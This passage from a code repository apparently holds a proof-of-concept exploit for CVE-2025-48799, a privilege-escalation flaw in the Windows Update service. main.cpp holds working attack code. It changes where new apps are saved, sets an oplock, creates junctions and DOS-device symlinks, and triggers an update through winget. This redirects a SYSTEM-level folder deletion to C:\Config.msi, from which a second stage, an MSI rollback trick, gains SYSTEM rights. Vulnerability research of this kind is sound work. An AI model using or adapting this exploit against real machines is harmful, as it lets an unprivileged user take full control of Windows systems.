    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="FileOplock.cpp" />
    <ClCompile Include="FileOrFolderDelete.cpp" />
    <ClCompile Include="main.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="resource.rc" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="def.h" />
    <ClInclude Include="FileOplock.h" />
    <ClInclude Include="resource.h" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

================================================
FILE: WinUpdateEoP/WinUpdateEoP.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup>
    <Filter Include="Source Files">
      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
    </Filter>
    <Filter Include="Header Files">
      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
    </Filter>
    <Filter Include="Resource Files">
      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
    </Filter>
  </ItemGroup>
  <ItemGroup>
    <ClCompile Include="FileOrFolderDelete.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="main.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
    <ClCompile Include="FileOplock.cpp">
      <Filter>Source Files</Filter>
    </ClCompile>
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="resource.rc">
      <Filter>Resource Files</Filter>
    </ResourceCompile>
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="resource.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="def.h">
      <Filter>Header Files</Filter>
    </ClInclude>
    <ClInclude Include="FileOplock.h">
      <Filter>Resource Files</Filter>
    </ClInclude>
  </ItemGroup>
</Project>

================================================
FILE: WinUpdateEoP/WinUpdateEoP.vcxproj.user
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <PropertyGroup />
</Project>

================================================
FILE: WinUpdateEoP/def.h
================================================
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <stdio.h>
#include <Msi.h>
#include <PathCch.h>
#include <taskschd.h>
#include <comdef.h>
#include <sddl.h>
#include <aclapi.h>
#include "FileOplock.h"
#include <shobjidl.h>
#include <shobjidl_core.h>
#include <shellapi.h>
#include <wuapi.h>

#pragma warning(disable:4996)
#pragma comment(lib, "PathCch.lib")
#pragma comment(lib,"RpcRT4.lib")
#pragma comment(lib, "Msi.lib")
#pragma comment(lib, "taskschd.lib")
struct __declspec(uuid("A6B716CB-028B-404D-B72C-50E153DD68DA")) CLSID_MSEdge_Object;
class __declspec(uuid("79e0c401-b7bc-4de5-8104-71350f3a9b67")) IGoogleUpdate : IUnknown {
public:


    HRESULT CheckForUpdate(const WCHAR* guid, VOID* observer);
    HRESULT Update(const WCHAR* guid, VOID* observer);

};
wchar_t dir[MAX_PATH] = { 0x0 };
WCHAR rbsPath[256] = { 0x0 };
wchar_t drivepath[MAX_PATH] = { 0x0 };
wchar_t tmp_file[MAX_PATH] = { 0x0 };
NTSTATUS retcode;
HANDLE h = NULL;
HANDLE hDir,hDir2,hDir3;
HANDLE hFile,hFile2;
wchar_t object[MAX_PATH] = L"Global\\GLOBALROOT\\RPC Control\\1";
std::wstring drive;
BOOL deleted = FALSE;
void IfDeletedRemoveJunction(LPWSTR);
bool IfExists(LPCWSTR path);
VOID Trigger();
void cb0();
BOOL CreateDeleteTask(BOOL);
LPWSTR BuildPath(LPCWSTR);
void load();
void stage2();
void stage1();
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion);
BOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path);
BOOL CreateJunction(HANDLE hDir, LPCWSTR target);
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target);
BOOL DeleteJunction(HANDLE hDir);
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target);
VOID Watch();
typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG  Flags;
            WCHAR  PathBuffer[1];
        } SymbolicLinkReparseBuffer;
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR  PathBuffer[1];
        } MountPointReparseBuffer;
        struct {
            UCHAR DataBuffer[1];
        } GenericReparseBuffer;
    } DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct _OBJECT_DIRECTORY_INFORMATION {
    UNICODE_STRING Name;
    UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
#define STATUS_MORE_ENTRIES 0x00000105
#define STATUS_NO_MORE_ENTRIES 0x8000001A
#define IO_REPARSE_TAG_MOUNT_POINT              (0xA0000003L)

typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK   IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_      HANDLE  DirectoryHandle, _Out_opt_ PVOID   Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_  BOOLEAN RestartScan, _Inout_   PULONG  Context, _Out_opt_ PULONG  ReturnLength);
typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(
    HANDLE                 FileHandle,
    PIO_STATUS_BLOCK       IoStatusBlock,
    PVOID                  FileInformation,
    ULONG                  Length,
    ULONG FileInformationClass
    );
typedef  DWORD(WINAPI* _SetStorageSettings)(DWORD, DWORD, DWORD, DWORD);
_RtlInitUnicodeString pRtlInitUnicodeString;
_NtCreateFile pNtCreateFile;
_NtSetInformationFile pNtSetInformationFile;
_NtQueryDirectoryObject pNtQueryDirectoryObject;
_NtOpenDirectoryObject pNtOpenDirectoryObect;
_SetStorageSettings pSetStorageSettings;

================================================
FILE: WinUpdateEoP/main.cpp
================================================
#include "def.h"

int wmain(int argc, wchar_t** argv)
{
    load();
    wchar_t target[] = L"\\C:\\config.msi";
    if (argc < 2)
    {
        printf("[*] Usage: %ls <drive letter>\n", argv[0]);
        printf("[*] Example: %ls D:\n", argv[0]);
        return 1;
    }

    stage1();
    DWORD ret = pSetStorageSettings(1, 0, 2, 16);
    if (ret != 0)
    {
        ret = pSetStorageSettings(0, 1, 2, 16);
        if (ret != 0) {
            printf("[-] Failed to change location where new apps are saved. Error: %d\n", ret);
            return -1;
        }
    }
    printf("[*] Changed location where new apps are saved.\n");
    
    drive = std::wstring(argv[1]);
    CreateDirectory((drive + L"\\WUDownloadCache").c_str(),NULL);
    Watch();
    FileOpLock* oplock;
    printf("[+] Sleeping for 10 seconds.\n");
    Sleep(10000);
    if (IfExists((drive + L"\\WUDownloadCache").c_str()))
    {
        if (!RemoveDirectory((drive + L"\\WUDownloadCache").c_str()))
       {
            printf("[-] Failed to remove directory.\n");
            return -1;
      }
    }
    CreateDirectory((drive + L"\\WUDownloadCache").c_str(), NULL);
    CreateDirectory((drive + L"\\" + drivepath).c_str(), NULL);


    hDir2 = CreateFile((drive + drivepath).c_str(), DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
    if (hDir2 == INVALID_HANDLE_VALUE)
    {
        printf("[-] Cannot open directory: %ls\\%ls", drive.c_str(),drivepath);
    }
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)IfDeletedRemoveJunction, target, 0, NULL);
    oplock = FileOpLock::CreateLock(hDir2, cb0,false);
    if (oplock != NULL)
    {
        Trigger();
        oplock->WaitForLock(INFINITE);
    }
    while (deleted != true) { Sleep(1000); };
    printf("[+] Exploit successful.\n");
    stage2();
    pSetStorageSettings(0, 0, 2, 16);
}
void cb0()
{
    printf("[+] Oplock!\n");
    while (!Move(hDir2, drive.c_str(), NULL)) {}
    hDir3 = CreateFile((drive + L"WUDownloadCache").c_str(), FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    CreateJunction(hDir3, L"\\RPC Control");
}
void IfDeletedRemoveJunction(LPWSTR path)
{
    wchar_t* token = std::wcstok(path, L":");
    token = std::wcstok(nullptr, L":");
    wchar_t file[MAX_PATH] = { 0x0 };
    PFILE_NOTIFY_INFORMATION fi = NULL;
    HANDLE hh = CreateFile(L"C:\\", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    do {

        wchar_t buff[4096] = { 0 };
        DWORD ret = 0;
        ReadDirectoryChangesW(hh, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL);
        fi = (PFILE_NOTIFY_INFORMATION)buff;
        if ((fi->Action == FILE_ACTION_REMOVED))
        {

            DeleteJunction(hDir3);
            deleted = TRUE;
        }
    } while (deleted == FALSE);
}
bool IfExists(LPCWSTR path)
{
    return GetFileAttributes(path) != INVALID_FILE_ATTRIBUTES;
}
VOID Watch()
{
    HANDLE hDir = CreateFile(drive.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL);

    PFILE_NOTIFY_INFORMATION fi = NULL;
    BOOL done = FALSE;
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Trigger, NULL, 0, NULL);
    do
    {
        wchar_t buff[4096] = { 0 };
        DWORD ret = 0;
        ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL);
        fi = (PFILE_NOTIFY_INFORMATION)buff;
        if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L"WUDownloadCache\\")))

        {


            swprintf(drivepath, L"%s", fi->FileName);
            wchar_t* token = wcstok(fi->FileName, L"\\");
            token = std::wcstok(nullptr, L"\\");
            swprintf(object, L"Global\\GLOBALROOT\\RPC Control\\%s", token);

            DosDeviceSymLink(object,L"\\??\\C:\\Config.msi");

            done = true;
        }
    } while (done != TRUE);
}
void Trigger()
{
    SHELLEXECUTEINFO sh;
    ZeroMemory(&sh, sizeof(sh));
    sh.cbSize = sizeof(sh);
    sh.lpVerb = L"open";
    sh.nShow = SW_HIDE;
    sh.lpFile = L"winget";
    sh.lpParameters = L"install firefox -s msstore  --disable-interactivity --accept-package-agreements --accept-source-agreements";
    ShellExecuteEx(&sh);
}
BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
    HANDLE hJunction;
    DWORD cb;
    wchar_t printname[] = L"";
    if (hDir == INVALID_HANDLE_VALUE) {
        printf("[!] HANDLE invalid!\n");
        return FALSE;
    }
    SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
    SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
    SIZE_T PathLen = TargetLen + PrintnameLen + 12;
    SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
    PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
    Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    Data->ReparseDataLength = PathLen;
    Data->Reserved = 0;
    Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
    Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
    memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
    Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
    Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
    memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
    WCHAR dir[MAX_PATH] = { 0x0 };
    if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
    {

        GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);
        printf("[+] Junction %ls -> %ls created!\n", dir, target);
        free(Data);
        return TRUE;

    }
    else
    {

        printf("[!] Error: %d. Exiting\n", GetLastError());
        free(Data);
        return FALSE;
    }
}
BOOL DeleteJunction(HANDLE handle) {
    REPARSE_GUID_DATA_BUFFER buffer = { 0 };
    BOOL ret;
    buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    DWORD cb = 0;
    IO_STATUS_BLOCK io;
    if (handle == INVALID_HANDLE_VALUE) {
        printf("[!] HANDLE invalid!\n");
        return FALSE;
    }
    WCHAR dir[MAX_PATH] = { 0x0 };
    if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {
        GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);
        printf("[+] Junction %ls deleted!\n", dir);
        return TRUE;
    }
    else
    {
        printf("[!] Error: %d.\n", GetLastError());
        return FALSE;
    }
}

BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
        printf("[+] Symlink %ls -> %ls created!\n", object, target);
        return TRUE;

    }
    else
    {
        printf("error :%d\n", GetLastError());
        return FALSE;

    }
}

BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
        printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
        return TRUE;

    }
    else
    {
        printf("error :%d\n", GetLastError());
        return FALSE;


    }
}
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {
    UNICODE_STRING ufile;
    HANDLE hDir;
    pRtlInitUnicodeString(&ufile, file);
    OBJECT_ATTRIBUTES oa = { 0 };
    IO_STATUS_BLOCK io = { 0 };
    InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);

    retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);

    if (!NT_SUCCESS(retcode)) {
        return NULL;
    }
    return hDir;
}
LPWSTR  BuildPath(LPCWSTR path) {
    wchar_t ntpath[MAX_PATH];
    swprintf(ntpath, L"\\??\\%s", path);
    return ntpath;
}
VOID load() {
    HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
    HMODULE storusage = LoadLibraryW(L"storageusage.dll");
    if (ntdll != NULL || storusage != NULL) {
        pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
        pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");

        pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
        pSetStorageSettings = (_SetStorageSettings)GetProcAddress(storusage, "SetStorageSettings");
    }
    if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL || pNtSetInformationFile == NULL) {
        printf("Cannot load api's %d\n", GetLastError());
        exit(0);
    }


}
BOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path) {
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] Invalid handle!\n");
        return FALSE;
    }
    wchar_t tmpfile[MAX_PATH] = { 0x0 };
    RPC_WSTR str_uuid;
    UUID uuid = { 0 };
    UuidCreate(&uuid);
    UuidToString(&uuid, &str_uuid);
    if (path == NULL)
    {
        _swprintf(tmpfile, L"\\??\\%s\\%s", drive.c_str(), str_uuid);
    }
    else
    {
        _swprintf(tmpfile, L"\\??\\%s\\%s", drive.c_str(), path);
    }
    size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));
    FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);
    IO_STATUS_BLOCK io = { 0 };
    rename_info->ReplaceIfExists = TRUE;
    rename_info->RootDirectory = NULL;
    rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
    rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
    memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));
    NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);
    if (status != 0) {
        return FALSE;
    }
    return TRUE;
}

================================================
FILE: WinUpdateEoP/resource.h
================================================
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by FolderOrFileDeleteToSystem.rc
//
#define IDR_RBS1                        101
#define IDR_MSI1                        102
#define IDR_RBF1                        106

// Next default values for new objects
// 


================================================
FILE: WinUpdateEoP/resource.rc
================================================
// Microsoft Visual C++ generated resource script.
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
#pragma code_page(1252)

/////////////////////////////////////////////////////////////////////////////
//
// RBF
//


#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////


/////////////////////////////////////////////////////////////////////////////
// English (United Kingdom) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK
#pragma code_page(1252)

#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//

1 TEXTINCLUDE 
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE 
BEGIN
    "#include ""winres.h""\r\n"
    "\0"
END

3 TEXTINCLUDE 
BEGIN
    "\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED


/////////////////////////////////////////////////////////////////////////////
//
// RBS
//

IDR_RBS1                RBS                     "5eeabb3.rbs"


/////////////////////////////////////////////////////////////////////////////
//
// MSI
//

IDR_MSI1                MSI                     "Msi_EoP.msi"

#endif    // English (United Kingdom) resources
/////////////////////////////////////////////////////////////////////////////



#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//


/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED
Download .txt
gitextract_z5e9hszm/

├── README.md
└── WinUpdateEoP/
    ├── 5eeabb3.rbs
    ├── FileOplock.cpp
    ├── FileOplock.h
    ├── FileOrFolderDelete.cpp
    ├── Msi_EoP.msi
    ├── WinUpdateEoP.sln
    ├── WinUpdateEoP.vcxproj
    ├── WinUpdateEoP.vcxproj.filters
    ├── WinUpdateEoP.vcxproj.user
    ├── def.h
    ├── main.cpp
    ├── resource.aps
    ├── resource.h
    └── resource.rc
Download .txt
SYMBOL INDEX (49 symbols across 5 files)

FILE: WinUpdateEoP/FileOplock.cpp
  function FileOpLock (line 122) | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock:...
  function FileOpLock (line 136) | FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallbac...

FILE: WinUpdateEoP/FileOplock.h
  function class (line 6) | class FileOpLock

FILE: WinUpdateEoP/FileOrFolderDelete.cpp
  class Resources (line 22) | class Resources
    method Resources (line 25) | static Resources& instance()
    method Resources (line 34) | Resources()
    method initFromResource (line 41) | void initFromResource(std::vector<BYTE>& vec, LPCWSTR lpResourceName, ...
  function bitnessCheck (line 58) | bool bitnessCheck()
  function uniqueString (line 72) | std::wstring uniqueString()
  function createUniqueTempFolder (line 87) | std::wstring createUniqueTempFolder()
  class TempMsi (line 100) | class TempMsi
    method TempMsi (line 103) | TempMsi()
    method TempMsi (line 115) | TempMsi(TempMsi&) = delete;
    method TempMsi (line 116) | TempMsi& operator =(TempMsi&) = delete;
    method GetTempMsiPath (line 121) | std::wstring GetTempMsiPath() { return tempMsiPath; }
  function get_configMsiExists (line 126) | bool get_configMsiExists()
  function get_configMsiIsRegistered (line 131) | bool get_configMsiIsRegistered()
  function tryDeleteConfigMsi (line 157) | bool tryDeleteConfigMsi()
  function spinUntilConfigMsiDeleted (line 177) | void spinUntilConfigMsiDeleted()
  function install (line 185) | void install(const std::wstring& installPath) {
  function installWithRollback (line 193) | void installWithRollback(const std::wstring& installPath) {
  function uninstall (line 202) | void uninstall() {
  function DWORD (line 210) | DWORD WINAPI thread_uninstall(PVOID)
  function DWORD (line 216) | DWORD WINAPI thread_installWithRollback(PVOID installPath)
  function stage1 (line 232) | void stage1()
  function stage2 (line 322) | void stage2()
  function usage (line 456) | void usage()

FILE: WinUpdateEoP/def.h
  type REPARSE_DATA_BUFFER (line 58) | typedef struct _REPARSE_DATA_BUFFER {
  type OBJECT_DIRECTORY_INFORMATION (line 83) | typedef struct _OBJECT_DIRECTORY_INFORMATION {
  type NTSYSAPI (line 91) | typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCE...
  type NTSYSAPI (line 92) | typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING Dest...
  type NTSYSAPI (line 93) | typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE Dir...
  type NTSYSAPI (line 94) | typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_      HAND...
  type NTSYSCALLAPI (line 95) | typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(
  type DWORD (line 102) | typedef  DWORD(WINAPI* _SetStorageSettings)(DWORD, DWORD, DWORD, DWORD);

FILE: WinUpdateEoP/main.cpp
  function wmain (line 3) | int wmain(int argc, wchar_t** argv)
  function cb0 (line 61) | void cb0()
  function IfDeletedRemoveJunction (line 68) | void IfDeletedRemoveJunction(LPWSTR path)
  function IfExists (line 89) | bool IfExists(LPCWSTR path)
  function VOID (line 93) | VOID Watch()
  function Trigger (line 122) | void Trigger()
  function BOOL (line 133) | BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
  function BOOL (line 173) | BOOL DeleteJunction(HANDLE handle) {
  function BOOL (line 196) | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
  function BOOL (line 210) | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
  function HANDLE (line 224) | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD d...
  function LPWSTR (line 239) | LPWSTR  BuildPath(LPCWSTR path) {
  function VOID (line 244) | VOID load() {
  function BOOL (line 261) | BOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path) {
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (55K chars).
[
  {
    "path": "README.md",
    "chars": 916,
    "preview": "# Description\nThis is PoC for CVE-2025-48799, an elevation of privilege vulnerability in Windows Update service.\n\nThis v"
  },
  {
    "path": "WinUpdateEoP/FileOplock.cpp",
    "chars": 4505,
    "preview": "\r\n#include \"FileOpLock.h\"\r\n#include <threadpoolapiset.h>\r\n\r\n\r\n\r\nFileOpLock::FileOpLock(UserCallback cb) :\r\n\tg_inputBuffe"
  },
  {
    "path": "WinUpdateEoP/FileOplock.h",
    "chars": 1044,
    "preview": "#pragma once\r\n\r\n#include <Windows.h>\r\n#include <string>\r\n\r\nclass FileOpLock\r\n{\r\npublic:\r\n\ttypedef void(*UserCallback)();"
  },
  {
    "path": "WinUpdateEoP/FileOrFolderDelete.cpp",
    "chars": 15947,
    "preview": "// Exploit code to turn an arbitrary file/folder delete as SYSTEM into a SYSTEM EoP.\r\n// Based on a technique by Abdelha"
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.sln",
    "chars": 1449,
    "preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 17\r\nVisualStudioVersion = 17.13."
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.vcxproj",
    "chars": 7001,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/ms"
  },
  {
    "path": "WinUpdateEoP/WinUpdateEoP.vcxproj.filters",
    "chars": 1625,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbui"
  },
  {
